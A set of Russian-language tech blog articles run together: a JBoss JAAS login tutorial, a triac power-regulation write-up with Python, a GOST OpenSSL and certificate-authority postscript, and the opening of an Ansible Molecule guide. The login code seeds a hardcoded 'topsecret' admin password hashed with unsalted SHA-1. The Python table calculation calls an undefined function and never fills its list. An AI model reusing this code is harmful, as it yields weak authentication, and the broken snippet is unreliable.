Admin
Manager
Admin Part
/admin/\*
GET
POST
Admin
All Users
/view/\*
\*
NONE
my.app.jaas.Initializer
```
* JSF mapping — будем использовать xhtml формат страниц
* Настройка безопасности: ссылаемся на серверный логин-модуль, настроенный ранее; аутентификация с использованием формы; далее определяем 2 роли и назначаем пути к защищаемым ресурсам
* Инициализация — определяем класс, код которого должен быть выполнен при старте приложения. Тут мы сможем создать необходимые записи в базе данных (при первом запуске в базе должен быть создан пользователь с ролью администратора)
#### Настройка Maven: дополнительные зависимости в pom.xml
**откроем pom.xml и добавим зависимости:**
```
org.hibernate
hibernate-core
4.0.1.Final
provided
org.richfaces.core
richfaces-core-impl
4.2.2.Final
runtime
org.richfaces.ui
richfaces-components-ui
4.2.2.Final
runtime
commons-codec
commons-codec
1.6
```
* hibernate — необязательная зависимость, просто немного читерства, а в принципе можно обойтись возможностями JPA
* [richfaces](http://www.jboss.org/richfaces) — большой набор компонент, расширенная поддержка ajax, несколько готовых скинов, встроенная библиотека jQuery, короче, облегчение жизни при программировании клиентской части. Можно заменить на [IceFaces](http://www.icesoft.org/projects/ICEfaces/overview.jsf), [PrimeFaces](http://www.primefaces.org/) или любую другую понравившуюся библиотеку.
* commons-codec — понадобится для кодирования хешей в base64
#### Настройка Java Persistence
Добавим в проект JPA. Для этого откроем свойства проекта и найдем раздел Project Facets, в данном разделе надо поставить галочку напротив JPA. Будет автоматически создан файл persistence.xml. Далее можно настроить доступ к базе в этом файле, а можно передать настройку в hibernate.cfg.xml. Я предпочитаю второе, так как в этом случае под рукой оказывается удобный графический интерфейс, а также есть возможность сделать reverse engineering из существующей базы.
Для второго способа необходимо:
— в persistence.xml сослаться на hibernate.cfg.xml: **persistence.xml**
```
xml version="1.0" encoding="UTF-8"?
```
— в папку src/main/resources добавить файл hibernate.cfg.xml следующего содержания: **hibernate.cfg.xml**
```
xml version="1.0" encoding="utf-8"?
org.hibernate.dialect.MySQLDialect
true
false
update
java:jboss/datasources/MysqlDS
```
Обратите внимание на hibernate.hbm2ddl.auto: значение update позволяет автоматически обновлять схему данных, чтобы она соответствовала модели, и нам не придется писать ни строчки DDL для этой базы!
format\_sql и show\_sql могут пригодиться при отладке;
Закладка редактора «Session Factory» предоставляет еще кучу настроек, но в пока они не понадобятся.
На этом настройку можно считать завершенной.
#### Модель данных
Данные описываются 2 классами. Связь много-ко-многим описывается с обеих сторон множествами. Хозяином связи будет AppUser (AppRole редко изменяется, это скорее справочник, чем сущность).
Поскольку в MySql отсутствуют последовательности и автоинкремент, для генератора выбрана стратегия GenerationType.TABLE. Остальное, думаю, понятно из аннотаций.
**AppUser.java**
```
import java.util.*;
import javax.persistence.*;
@ Entity
@ Table(name = "APP_USER", uniqueConstraints = @ UniqueConstraint(columnNames = "USER_NAME"))
public class AppUser implements java.io.Serializable {
private Long userId;
private String userName;
private String displayName;
private String pwd;
private Boolean enabled;
private Set roles = new HashSet(0);
@ TableGenerator(
name = "UserIdGen",
table = "APP\_GEN",
pkColumnName = "GEN\_NAME",
pkColumnValue = "USER\_ID",
valueColumnName = "GEN\_VAL",
allocationSize = 10)
@ Id
@ Column(name = "USER\_ID", nullable = false)
@ GeneratedValue(strategy=GenerationType.TABLE, generator="UserIdGen")
public Long getUserId() {
return this.userId;
}
public void setUserId(Long userId) {
this.userId = userId;
}
@ Column(name = "USER\_NAME", nullable = false, length = 30)
public String getUserName() {
return this.userName;
}
public void setUserName(String userName) {
this.userName = userName;
}
@ Column(name = "DISPLAY\_NAME", length = 250)
public String getDisplayName() {
return this.displayName;
}
public void setDisplayName(String displayName) {
this.displayName = displayName;
}
@ Column(name = "PWD", length = 30)
public String getPwd() {
return this.pwd;
}
public void setPwd(String pwd) {
this.pwd = pwd;
}
@ Column(name = "ENABLED")
public Boolean getEnabled() {
return this.enabled;
}
public void setEnabled(Boolean enabled) {
this.enabled = enabled;
}
@ ManyToMany(fetch = FetchType.LAZY, cascade=CascadeType.ALL)
@ JoinTable(
name = "APP\_MEMBERSHIP",
joinColumns = {
@ JoinColumn(name = "USER\_ID", nullable = false, updatable = false)
},
inverseJoinColumns = {
@ JoinColumn(name = "ROLE\_ID", nullable = false, updatable = false)
})
public Set getRoles() {
return this.roles;
}
public void setRoles(Set roles) {
this.roles = roles;
}
}
```
Для пароля указана длина 30: этого должно хватить для SHA-1 дайджеста (20 байт) в кодировке base64;
Для поля enabled указан тип Boolean, не всякий сервер это поймет (например, в FirebirdSQL придется создать домен с таким именем), но MySql его интерпретирует без вопросов.
**AppRole.java**
```
import java.util.*;
import javax.persistence.*;
@ Entity
@ Table(name = "APP_ROLE", uniqueConstraints = @ UniqueConstraint(columnNames = "ROLE_NAME"))
public class AppRole implements java.io.Serializable {
private Long roleId;
private String roleName;
private String displayName;
private Set users = new HashSet(0);
@ TableGenerator(
name = "RoleIdGen",
table = "APP\_GEN",
pkColumnName = "GEN\_NAME",
pkColumnValue = "ROLE\_ID",
valueColumnName = "GEN\_VAL",
allocationSize = 10)
@ Id
@ Column(name = "ROLE\_ID", nullable = false)
@ GeneratedValue(strategy=GenerationType.TABLE, generator="RoleIdGen")
public Long getRoleId() {
return this.roleId;
}
public void setRoleId(Long roleId) {
this.roleId = roleId;
}
@ Column(name = "ROLE\_NAME", length = 30)
public String getRoleName() {
return this.roleName;
}
public void setRoleName(String roleName) {
this.roleName = roleName;
}
@ Column(name = "DISPLAY\_NAME", length = 250)
public String getDisplayName() {
return this.displayName;
}
public void setDisplayName(String displayName) {
this.displayName = displayName;
}
@ ManyToMany(fetch = FetchType.LAZY, mappedBy = "roles")
public Set getUsers() {
return this.users;
}
public void setUsers(Set users) {
this.users = users;
}
}
```
При желании в проект также можно добавить класс AppGen, который будут соответствовать таблице генераторов APP\_GEN, для того, чтобы наше приложение могло работать с устаревшими (legacy) SQL серверами. Дело в том, что по умолчанию в таблице APP\_GEN будет создано поле — первичный ключ GEN\_NAME длиной 256 символов, что не всегда поддерживается, и эту длину можно уменьшить, явно указав в аннотации. По мне так достаточно и 30 символов (см.например длину названий последовательностей в Oracle).
#### Инициализация приложения
Инициализацию приложения будет выполнять тот самый класс my.app.jaas.Initializer, который был ранее указан в web.xml
**Initializer.java**
```
@ ManagedBean
public class Initializer implements ServletContextListener {
private static final Logger log = Logger.getLogger(Initializer.class);
@Override
public void contextDestroyed(ServletContextEvent event) {}
@Override
public void contextInitialized(ServletContextEvent event) {
loadData();
}
@ PersistenceContext
EntityManager em;
private AppRole checkRole(String roleName, String displayName, Session session) {
AppRole role =
(AppRole)session.createCriteria(AppRole.class)
.add(Restrictions.eq("roleName", roleName))
.uniqueResult();
if (role == null) {
role = new AppRole();
role.setRoleName(roleName);
role.setDisplayName(displayName);
session.save(role);
}
return role;
}
private void loadData() {
Session session = (Session) em.getDelegate();
AppRole adminRole = checkRole("Admin", "Администраторы", session);
checkRole("Manager", "Менеджеры", session);
if (adminRole.getUsers().size()==0) {
AppUser user =
(AppUser)session.createCriteria(AppUser.class)
.add(Restrictions.eq("userName", "admin"))
.uniqueResult();
if(user==null) {
user = new AppUser();
user.setUserName("admin");
user.setDisplayName("Администратор");
user.setPwd(encode("topsecret"));
user.setEnabled(true);
session.save(user);
}
adminRole.getUsers().add(user);//nothing
user.getRoles().add(adminRole);
session.save(adminRole);
session.save(user);
}
session.flush();
session.close();
}
public static String encode(String value) {
//get the message digest
try{
MessageDigest md = MessageDigest.getInstance("SHA"); //SHA-1 algorithm
md.update(value.getBytes("UTF-8")); //byte-representation using UTF-8 encoding format
byte raw[] = md.digest();
String hash = Base64.encodeBase64String(raw).trim();
return hash;
} catch(Exception e) {
log.error(e, e);
}
return value;
}
public String logout() {
FacesContext ctx = FacesContext.getCurrentInstance();
HttpSession session = (HttpSession)ctx.getExternalContext().getSession(false);
session.invalidate();
return("logout");
}
}
```
Как видно, реализован единственный метод-слушатель ServletContextListener.contextInitialized, в котором проверяются и при необходимости создаются роли, а также проверяется наличие хотя бы 1 администратора. При отсутствии администратора создается учетная запись admin.
Статический метод encode можно будет использовать в модуле управления пользователями.
Также нам пригодится еще 1 метод logout(), с очевидным назначением.
Работа с базой данных в данном случае ведется не через JPA, а на уровень ниже — через hibernate API, в результате можно использовать замечательный интерфейс org.hibernate.Criteria и выполнить все действия без единой строчки на sql, hql или jpql.
#### Форма аутентификации
**login.xhtml**
```
Вход в систему
div.login-container {
width: 255px;
position: relative;
margin: 0 auto 0 auto;
}
(function(){
jQuery("#login\_container").offset({top:Math.max(0,(jQuery(window).height()/2)-150)});
var el = jQuery("#j\_username").get(0);el.focus();el.select();
})();
```
Тут можно рисовать любую форму, единственное требование — на сервер должны сабмититься значения j\_username и j\_password. Поскольку в данном случае используются компоненты richfaces, то в код страницы автоматически включается jQuery, возможности которого и используются в скрипте для позиционирования контейнера login-container и автоматического выделения элемента с именем пользователя.
Итак, все готово для первого запуска. Далее помещаем любой контент в каталоги webapp/view, webapp/admin, коммитим изменения на сервер, и после запуска приложения убеждаемся, что доступ в эти каталоги возможен только после аутентификации и при наличии соответствующих ролей.
При старте приложения в базе данных будут автоматически созданы необходимые таблицы и записи, в этом можно убедиться установив картридж phpmyadmin, либо включив трассировку запросов в файле hibernate.cfg.xml:
```
false
```
#### Выводы
На приведенном выше примере была рассмотрена разработка приложения с аутентификацией для OpenShift. Это же приложение можно скомпилировать и использовать на любом другом сервере JBoss AS 7.1 и с любым из поддерживаемых sql диалектов. Различие будет только в расположении файла настройки standalone.xml, и в необходимости установки нужного jdbc модуля.
При настройке подключения к источнику данных следует помнить о кодировке.
В рассмотренном шаблоне использовался минимум подгружаемых библиотек, что немаловажно для ограниченных ресурсов, предоставляемых OpenShift Express. В основном используются модули, уже включенные в дистрибутив JBoss, как результат — экономия дискового пространства и времени публикации приложения. | https://habr.com/ru/post/145289/ | null | ru | null |
# Как регулировать мощность переменного тока
Решил как-то отец собрать для дачи некое устройство, в котором, по его заверению, можно будет варить сыр. Устройство сие вид имело могучий и представляло из себя железный короб, подозрительно напоминающий старую стиральную машинку. Внутрь короба (все также добротно!) были вмонтированы три тэна по 1700 Ватт каждый. В общем сыра должно было хватить на небольшой посёлок.
Изделие (внешне выглядящее как что-то из безумного макса), должно быть весьма технологичным и поддерживать заданную температуру в максимально узких пределах. Для этого рядом появилась ещё одна коробка с симисторами, к которым подключались ТЭНы и схема, выдающая высокий уровень при переходе синусоиды через ноль. А у меня появился интересный проект.
Итак нам нужно выходить на заданную температуру и поддерживать её, с этим должен справляться алгоритм ПИД регулятора. Глубоко вдаваться в его работу не буду, скажу лишь что он получает на вход текущую ошибку, а на выходе выдает какое-то число в заданных пределах. У меня таким числом будет мощность выдаваемая на ТЭН, хотя в принципе, это может быть любой инерционный процесс, например обороты двигателя. Что важно для ПИД регулятора, это чтобы выходная величина производила воздействие линейно. Поэтому попробуем разобраться в способах регулировки мощности и их линейности.
#### Как вообще регулируется мощность?
Мощность - это произведение силы тока на напряжение. Если представить это произведение графически, то для постоянного тока, это будет площадь прямоугольника со сторонами равными напряжению и току
Так как при постоянном сопротивлении и напряжении ток тоже будет постоянным, то заменим ось тока на ось времени. Сопротивление я беру постоянным для объяснения принципа регулирования.
Тогда при заданном напряжении (12 В) и сопротивлении в 12 Ом, по закону Ома: I=U/R, получаем ток равный 1 А, и соответственно мощность за единицу времени будет равна 12 Вт. При другом сопротивлении мощность, естественно тоже изменится.
Теперь, если мы хотим регулировать мощность за единицу времени, нам нужно как-то изменять площадь фигуры за единицу времени. Самым чистым способом будет просто изменять напряжение, тогда и мощность будет пропорционально изменяться. Но контроллер, как и любые цифровые устройства, не умеет плавно изменять напряжение на ножках, он может либо "поднимать" их до высокого уровня, либо "опускать" до низкого уровня. Этот недостаток он компенсирует скоростью, даже самый дохленький современный МК может работать на частотах в миллионы тактов в секунду. Чтобы регулировать мощность, контроллер будет очень быстро "дрыгать" ножкой, тем самым изменяя результирующая площадь импульса за единицу времени.
На этом принципе устроена широтно-импульсная модуляция, она же ШИМ. Изменяя время (ширину) импульса за период мы изменяем выдаваемую мощность. На рисунке выше, показано два периода ШИМа. Каждый период имеет отношение площади импульса к площади всего периода 0.5, те половину времени периода контроллер выдает высокий уровень сигнала, другую половину низкий. Отношение времени высокого уровня сигнала к времени низкого называется скважностью. Красная линия на графике отражает результирующую мощность за единицу времени, по ней видно что при скважности 0.5 мощность также упала на половину (с 12 до 6 Вт). Хорошая новость состоит в том, что, ШИМ в контроллерах реализован аппаратно. Так что для регулирования чего-то достаточно его запустить и, по необходимости, изменять скважность.
Для постоянного тока, режим ШИМа оптимален, причем чем более инерционный прибор мы к нему подключаем, тем меньшую частоту ШИМа можно использовать. Для большого ТЭНа достаточно чуть ли не одного герца, а вот для светодиодов лучше использовать частоту побольше. Кстати частота ШИМа в подсветке экрана ноутбука, зачастую оказывается чуть ли не решающим фактором при покупке, так как, при слишком низкой частоте, глаза будут быстро уставать.
Если попробовать провернуть трюк с ШИМом для переменного напряжения, мы увидим что все сломалось и мощность перестала регулироваться линейно
одинаковые промежутки времени стали давать нам разную площадь, а значит разную мощность. Однако, если разбить полученные отрезки на на ещё более мелкие, то процентное соотношение ширины импульса к ширине кусочка будет выравниваться.
Если мы возьмем равный процент выдаваемой мощности от каждого кусочка, в результате мы получим такой же процент, от мощности всей волны, а на выходе мы получим линейный регулятор мощности для переменного тока. Причем чем большую частоту будет иметь ШИМа, тем на большее количество кусочков он разобьет синусоиду, а значит мы получим большую линейность.
Это было бы решением всех проблем, но в моем случае устройством коммутировавшим нагрузку был не быстрый транзистор, а симистор - медленный прибор, с максимальными рабочими частотами в пределах нескольких сотен герц, к тому же симистор можно только открыть, закроется он сам при переходе через ноль. На таких частотах управлять переменным напряжением которое имеет частоту 50 Гц, линейно не получится. Поэтому здесь нужно использовать какой-то другой подход и как раз для него, помимо симисторов, была установлена схема перехода через ноль.
В случае с симисторами лучше разбить синусоиду на куски с одинаковыми площадями и записать время каждого такого кусочка в таблицу. Тогда каждое последующее значение из таблицы будет линейно увеличивать мощность.
На графике выше полуволна синусоиды разбита на части разные по времени, но имеющие одинаковую площадь, а значит несущие в себе одинаковую мощность. Все что нам останется сделать это загрузить таблицу с временными интервалам в наш котроллер, синхронизировать какой-то из его таймеров с частотой синусоиды, для этого используется схема перехода через ноль, и просто брать из таблички нужное значение, в течении которого будет высокий уровень. Суть метода похожа на ШИМ, но немного доработанный и синхронизированный с источником переменного напряжения.
#### Расчёт таблицы мощности
Теперь можно перейти непосредственно к расчёту.
Изначально задача заключается в том чтобы разбить синусоиду на нужное нам количество кусочков, каждый из которых будет иметь одинаковую площадь. На этом моменте, обычно проступает холодный пот, так-как площадь под графиком это и есть геометрическое определение интеграла. Соответственно нам нужно будет взять интеграл от функции при этом определить такие пределы интегрирования, которые будут давать одинаковый результат. Затем (как будто расчёта интегралов мало!) полученные пределы нужно будет перевести во время задержки (время в течении которого будет сохранятся высокий уровень). После чего полученное время перевести в понятное для контроллера число - количество тиков таймера. Звучит страшно, а по факту сейчас разберёмся:
Во первых сама функция - как было написано выше мощность это произведение тока на напряжение, для переменного тока (без сдвига фаз), это утверждение также верно, но, так-как и ток и напряжение меняются со временем P=IU превращается в P=I\*sin(t) \* U\*sin(t). Так как амплитуда синусоиды нас сильно не волнует, уравнение вырождается до P=sin^2(t).
Неопределённый интеграл от квадрата синуса
Теперь нужно подобрать пределы для определенных интегралов. Выберем, насколько частей мы хотим разбить нашу синусоиду: я выбрал сто, чтобы можно было регулировать мощность с шагом в 1%.
Итак мы нашли чему будет равен неопределённый интеграл и даже выбрали шаг. Теперь нужно подобрать пределы интегрирования. Смысл их подбора заключается в том, чтобы значение определенного интеграла было постоянным при их смене. Напомню, что неопределенный интеграл это формула, а определённый вполне конкретное число. Определённый интеграл считается по формуле:
То есть мы берем неопределённый интеграл, подставляем в него верхнее число, затем нижнее, и вычитаем второе из первого.
Наш неопределённый интеграл является смешанной тригонометрической функцией, а значит не имеет общего аналитического решения. Чаще всего такие функции решаются либо числовыми, либо графическими методами. Графический метода заключается в том что мы строим графики для правой и левой части уравнения их пересечение будет решением уравнения. На рисунке показано решение уравнения для 0.2
Наряду с графическим методом можно использовать численный, то есть подбор решения. Будем подставлять в неопределённый интеграл числа до тех пор пока не найдём решение). Можно использовать лист и бумажку чтобы попрактиковаться в математике, можно онлайн калькулятор, я же буду использовать Python и библиотеки numpy:
```
import numpy as np
rad_arr=list()
#записываем неопределённый интеграл
integral=lambda rad: (rad/2)-(math.sin(2*rad)/4)
#составляем простенький цикл для подбора решений
for x in np.arange(0, 0.78, 0.015):
#шаг подбора
for xx in np.arange(0, 3, 0.00001):
if func(xx) >= x:
print(xx)
rad_arr.append
break;
```
Отлично мы получили массив чисел (пределов интегрирования!), валидность этих чисел можно проверить подставив их в интеграл. В результате должна получится площадь равная выбранному шагу! Теперь, если подставить полученные числа на график мощности, должна получится следующая картина:
Если все сошлось, то можно двигаться дальше и задать получившимся числам размерность времени, потому что сейчас они в радианах. Чтобы это сделать нужно выяснить угловую скорость, для частоты сети, то есть количество радиан в секунду.
Тогда узнаем сколько сколько длится одна радиана
Теперь, значения задержек в радианах, превратим во время, умножив каждое значение на период радианы (T). Проверим ход своей мысли: действительно-ли получится время задержки, если умножить задержку, на период? Задержка имеет размерность радиан, период - секунд за радиану, мы хотим их перемножить. Тогда рад \* ( сек / рад ) = сек. Мы получили время, а значит ход мыслей должен быть верным.
Для расчётов я опять предпочту python:
```
#стандартная частота сети
frequency = 50
#находим частоту в радианах
rad_per_s=frequency*(2*math.pi)
#находим период радианы
s_per_rad=1/rad_per_s
#находим задержки используя полученный ранее массив
delay_arr=[x*s_per_rad for x in rad_arr]
```
На этом моменте мы получили универсальную таблицу задержек, теперь необходимо конвертировать её специально под микроконтроллер.
#### Расчёт таймера МК и перевод таблицы
Время необходимо перевести в понятную для МК величину - количество переполнений таймера. Но сначала необходимо определится с частотой таймера: чем выше частота, тем точнее он будет отмерять время, но с другой стороны, тем меньше времени будет оставаться на выполнение остальной программы. Здесь необходимо найти золотую середину.
Для определения минимально допустимой частоты таймера, надо найти числа в массиве с минимальной разностью между ними. Разность тем меньше, чем ближе в максимуму синусоиды мы двигаемся. Тогда возьмем задержку при которой синусоида достигает единицы и число перед ним, после чего найдем их разность:
5 мс - 4.9363 мс = 0.0636 мс
Получившееся число является максимально допустимым периодом между прерываниями таймера, тогда через него найдём минимально допустимую частоту
1 / 0.0636 = 15 КГц
Значит для заданной точности в 1% будет достаточно таймера с частотой 15КГц. Частота МК составляет 16 МГц, значит между прерываниями будет 1000 тактов процессора, этого достаточно для выполнения остальной части программы, так что можно смело настраивать таймер на заданную частоту.
Для настройки таймера на определенную частоту, не кратную тактирующей используется режим таймера CTC - Clear Timer on Compare. В этом режиме таймер досчитывает до заданного числа и сбрасывается, после чего операция повторяется. Число при котором будет происходить совпадение считается по формуле
Число = Тактовая частота МК / предделитель таймера / выбранная частота
Частота выбрана, теперь нужно перевести таблицу в тики таймера. Делать я это буду опять на Python
```
#задаем частоту таймера
generator_freg=15000
#получаем время одного периода таймера
one_tick=1/generator_freq
#получаем массив с тиками таймера
tick_arr=[x/one_tick for x in delay_arr]
```
В общем-то на этом весь расчёт окончен, остается только отзеркалить получившийся массив для второй половины полуволны и загрузить в МК. Далее по прерыванию от синхроимпульса, нужно подать низкий уровень, на ножку управления симистором, запустить таймер и считать его переполнения (совпадения, тк. у нас режим CTC). Как только количество переполнений достигнет нужного числа из таблички, подаем высокий уровень на управляющую ножку. На этом линейный регулятор мощности переменного напряжения готов!
#### Заключение
Надеюсь статья была понятна и её было интересно читать. В дополнение хотелось бы сказать, сигнал перехода через ноль не приходит идеально вовремя, поэтому может потребоваться дополнительная коррекция, чтобы это исправить.
Код расчетов на python
```
import math
import numpy as np
rad_arr=list()
integral=lambda rad: (rad/2)-(math.sin(2*rad)/4)
for x in np.arange(0, 0.78, 0.015):
for xx in np.arange(0, 3, 0.00001):
if func(xx) >= x:
print(xx)
rad_arr.append
break;
frequency = 50
rad_per_s = frequency * (2 * math.pi)
s_per_rad = 1 / rad_per_s
delay_arr = [x * s_per_rad for x in rad_arr]
generator_freg = 15000
one_tick = 1 / generator_freg
tick_arr = [x / one_tick for x in delay_arr]
print(tick_arr)
```
Также, если кому-то будет интересно, могу поделится исходником готового регулятора для ардуино. | https://habr.com/ru/post/549446/ | null | ru | null |
# Инфраструктура открытых ключей: Удостоверяющий Центр на базе утилиты OpenSSL и SQLite3 (Посткриптум)
В одном из комментариев, присланным участником [garex](https://habr.com/ru/users/garex/), в ответ на [заявление](https://habr.com/post/414249/):
> Но сегодня в стандартной версии openssl отсутствует поддержка как ГОСТ Р 34.11-2012, так и ГОСТ Р 34.10-2012. Более того в версии 1.1 поддержка криптографии ГОСТ исключена из стандартной поставки («The GOST engine was out of date and therefore it has been removed.»)
было сказано:
> Чем не устраивает вот [эта](https://github.com/gost-engine/engine), которую «убрали?» [github.com/gost-engine/engine](https://github.com/gost-engine/engine)
>
> [Пример](https://github.com/rnixik/docker-openssl-gost/blob/master/Dockerfile) билда: [github.com/rnixik/docker-openssl-gost/blob/master/Dockerfile](https://github.com/rnixik/docker-openssl-gost/blob/master/Dockerfile)
Выло решено протестировать эту версию openssl в составе УЦ [CAFL63](https://habr.com/post/413493/). Используя указанный пример билда, сам openssl и ГОСТ-ый engine собрались и установились без всяких проблем (все тестировалось в среде Linux и устанавливалось в каталог /usr/local/ssl). Естественно, для работы с ГОСТ-ой криптографией (речь идет о ГОСТ Р 34.10-2012, ГОСТ Р 34.11-2012) надо прописать подключение engine-а gost.so в конфигурационной файле openssl.cnf:
```
. .
# OpenSSL default section
[openssl_def]
engines = engine_section
# Engine scetion
[engine_section]
gost = gost_section
# Engine gost section
[gost_section]
engine_id = gost
dynamic_path = /usr/local/ssl/lib/engines-1.1/gost.so
default_algorithms = ALL
CRYPT_PARAMS = id-Gost28147-89-CryptoPro-A-ParamSet
. . .
```
Проверить подключение гостового engine-а можно выполнив команду:
```
bash-4.3$ /usr/local/ssl/bin/openssl ciphers
. . .
GOST2012-GOST8912-GOST8912:GOST2001-GOST89-GOST89
. . .
bash-4.3$
```
Для просмотра поддерживаемых ГОСТ-вых алгоритмов хэширования достаточно выполнить следующую команду:
```
bash-4.3$ /usr/local/ssl/bin/openssl list –digest-algorithms| grep md_gost
md_gost12_256
md_gost12_512
md_gost94
bash-4.3$
```
Как видно, с поддержкой российской криптографии в этой версии openssl с подключенным engine-ом все хорошо.
Если подключить утилиту openssl (Средства->Настройки->Системные) в ранее созданном УЦ, то на первый взгляд все заработает. Можно будет просмотреть и запросы и сертификаты. При этом все поля, входящие в DN (отличительное имя) (ИНН, ОГРН, СНИЛС) отображаются верно. Но вот расширения, типа issuerSignTool, subjectSignTool и другие, openssl отказывается поминать:
Следует отметить, указанные расширения являются неотъемлемой частью СКПЭП (квалифицированный сертификат ключа проверки электронной подписи), требования к которому утверждены приказом ФСБ от 27 декабря 2011 г. N 795.
Анализ утилиты openssl показал, что она не поддерживает расширения isserSignTool, objectSignTools и другие, введенные ТК-26 для СКПЭП:
> ...
>
> Error Loading request extension section v3\_req
>
> 139974322407168:error:22097081:X509 V3 routines:do\_ext\_nconf:unknown extension:crypto/x509v3/v3\_conf.c:82:
>
> 139974322407168:error:22098080:X509 V3 routines:X509V3\_EXT\_nconf:error in extension:crypto/x509v3/v3\_conf.c:47:name=subjectSignTool, value=Наименование СКЗИ пользователя
>
> ...
>
> Error Loading request extension section v3\_req
>
> 140154981721856:error:22097081:X509 V3 routines:do\_ext\_nconf:unknown extension:crypto/x509v3/v3\_conf.c:82:
>
> 140154981721856:error:22098080:X509 V3 routines:X509V3\_EXT\_nconf:error in extension:crypto/x509v3/v3\_conf.c:47:name=subjectSignTool, value=Наименование СКЗИ пользователя
>
> ...
>
> Error Loading extension section cert\_ext
>
> 140320065406720:error:0D06407A:asn1 encoding routines:a2d\_ASN1\_OBJECT:first num too large:crypto/asn1/a\_object.c:61:
>
> 140320065406720:error:2208206E:X509 V3 routines:r2i\_certpol:invalid object identifier:crypto/x509v3/v3\_cpols.c:135:section:,name:KC1ClassSignTool,value:
>
> 140320065406720:error:22098080:X509 V3 routines:X509V3\_EXT\_nconf:error in extension:crypto/x509v3/v3\_conf.c:47:name=certificatePolicies, value=KC1ClassSignTool, KC2ClassSignTool
>
> ..
>
>
В связи с этим, УЦ CAFL63 также отказывался создавать запросы и выпускать сертификаты на openssl, так как он строго следил за соблюдением требований к СКПЭПЭ:
Вместе с тем, порой эти требования бывают излишними, например, при использовании сертификатов в учебном процессе, для внутрикорпоративного документооборота (подписание, шифрование документов), для доступа по https к корпоративным системам (сайты, порталы и т.д, так называемые, SSL-сертификаты).
Исходя их этого была проведена доработка CAFL63. Теперь стало возможным не заполнять поля расширений (Средства->Настройки->Системные):
Утилита CAFL63 позволяет просматривать сторонние запросы (Сертификаты->Просмотреть сторонний сертификат или кновка «Просмотр внешнего X509» на вкладке «Сертификаты»), но с тем же недостатком:
Эта доработка позволяет уже сегодня использовать [УЦ CAFL63](https://habr.com/post/413493/) в учебных целях, для организации корпоративного документооборота и т.п.
Это все, что хотелось сказать в постскриптуме. | https://habr.com/ru/post/415423/ | null | ru | null |
# Тестирование автоматизации Ansible с помощью Molecule Часть 1
В статье много информации об Ansible. Давайте посмотрим, как тестировать роли с помощью Molecule, Docker и Testinfra.
Molecule – это проект Red Hat, призванный помочь в тестировании ролей Ansible. Он обеспечивает поддержку тестирования с различными операционными системами и дистрибутивами. Molecule также является весьма разноплановым проектом, позволяющим использовать множество провайдеров виртуализации, тестовых фреймворков и тестовых сценариев. Такой подход обеспечивает последовательность в разработке и обслуживании ролей.
Приступаем к работе
-------------------
#### Настройка вашей среды
Python3 и pip – это необходимые условия для Ansible и Molecule. Установка и настройка этих инструментов выходят за рамки данного руководства.
Следующие команды установят Ansible и Molecule с помощью pip. Для получения информации о других вариантах установки посетите соответствующие страницы документации Ansible и Molecule.
```
# install ansible
python3 -m pip install --user ansible
# Install the latest version of molecule from source
python3 -m pip install -U git+https://github.com/ansible-community/molecule
#install testinfra
python3 -m pip install --user pytest-testinfra
#install the molecule docker driver
python3 -m pip install -U "molecule[docker]"
```
Вам также потребуется установить docker-ce вместе с плагином Docker для Molecule. Последняя команда в приведенном выше скрипте устанавливает плагин docker. Этот метод применим к установке любых плагинов molecule, которые вы планируете использовать. После этого Docker сможет выступать в качестве драйвера в Molecule.
Инициализация новой роли с помощью Molecule
-------------------------------------------
Теперь, когда предустановки готовы, начнем с некоторых основ. Начните с запуска `molecule init role sample.demo_role --driver-name docker --verifier-name testinfra`. Вуаля, Молекула создаёт новую роль, уже настроенную в тестовом каталоге. Давайте посмотрим на каталог, а затем более подробно рассмотрим эту команду.
```
demo_role/
├── defaults
│ └── main.yml
├── files
├── handlers
│ └── main.yml
├── meta
│ └── main.yml
├── molecule
│ └── default
│ ├── converge.yml
│ ├── molecule.yml
│ └── tests
│ ├── conftest.py
│ ├── __pycache__
│ │ ├── conftest.cpython-38.pyc
│ │ └── test_default.cpython-38.pyc
│ └── test_default.py
├── README.md
├── tasks
│ └── main.yml
├── templates
├── tests
│ ├── inventory
│ └── test.yml
└── vars
└── main.yml
```
Правда впечатляет? Molecule создал все необходимое для создания роли и одновременного ее тестирования.
Изучение команды и результатов её применения
--------------------------------------------
Ниже описание команды и опций, которые мы использовали:
Molecule инициирует `sample.demo_role`
`init role` задействует `ansible-galaxy` для создания каталога шаблонов `.`. Команда также подготавливает каталог Molecule, чтобы помочь начать работу. В качестве альтернативы, если у вас уже есть роль, вы можете инициировать Molecule как сценарий с molecule init scenario -r .
`--driver-name Docker`
Указывает на то, какой драйвер следует использовать для вашей тестовой среды. Драйвер определяет, какую платформу или инфраструктуру развернуть для тестов. Несколько доступных драйверов включают podman, libvirt, Azure и многие другие. Независимо от вашего драйвера, необходимо установить модуль с помощью pip. Здесь мы сосредоточимся на использовании Docker.
`--verifier-name testinfra`
Указывает, какой верификатор вы хотите использовать для вашего сценария по умолчанию. Верификатор – это механизм, используемый для тестирования ваших ролей. Некоторые доступные опции включают Ansible, test infra и inspect. Хотя Ansible является верификатором по умолчанию, мы будем использовать testinfra для этой демонстрации.
**Вот описание созданных файлов Molecule:**
`./molecule/default/molecule.yml`
Это основной файл для Molecule. Используется для определения шагов тестирования, сценариев, зависимостей и других параметров конфигурации. Сгенерированный файл должен выглядеть следующим образом:
```
---
dependency:
name: galaxy
driver:
name: docker
platforms:
- name: instance
image: quay.io/centos/centos:stream8
pre_build_image: true
provisioner:
name: ansible
verifier:
name: testinfra
```
`./molecule/default/converge.yml`
Это плейбук, который Molecule запустит, чтобы обеспечить цели для тестирования. Ниже приведен файл, который создает Molecule. Если вы можете использовать этот файл в сборнике воспроизведения, вы можете использовать его здесь.
```
---
- name: Converge
hosts: all
tasks:
- name: "Include sample.demo_role"
include_role:
name: "sample.demo_role"
```
`./molecule/default/tests/test_default.py`
Это исходный тестовый файл, созданный для test infra. Именно здесь мы будем проводить наши тесты для этой демо-версии. Однако вы не ограничены этим файлом или даже этим каталогом для ваших тестов. Тест по умолчанию показан ниже.
```
"""Role testing files using testinfra."""
def test_hosts_file(host):
"""Validate etc/hosts file"""
f = host.file("etc/hosts")
assert f.exists
assert f.user == "root"
assert f.group == "root"
```
Приступаем к практике
---------------------
Каждая роль должна что-то выполнять. У нас есть роль, которая в настоящее время ничего не делает, давайте исправим это, добавив некоторые задачи в `./tasks/main.yml`. В этой статье мы будем придерживаться основ, добавив лишь несколько вещей, для которых мы можем писать тесты. В данном случае несколько пакетов yum, пользователь и конфигурационный файл предусмотрены в приведенном ниже коде.
```
---
# tasks file for demo_role
- name: install some packages
yum:
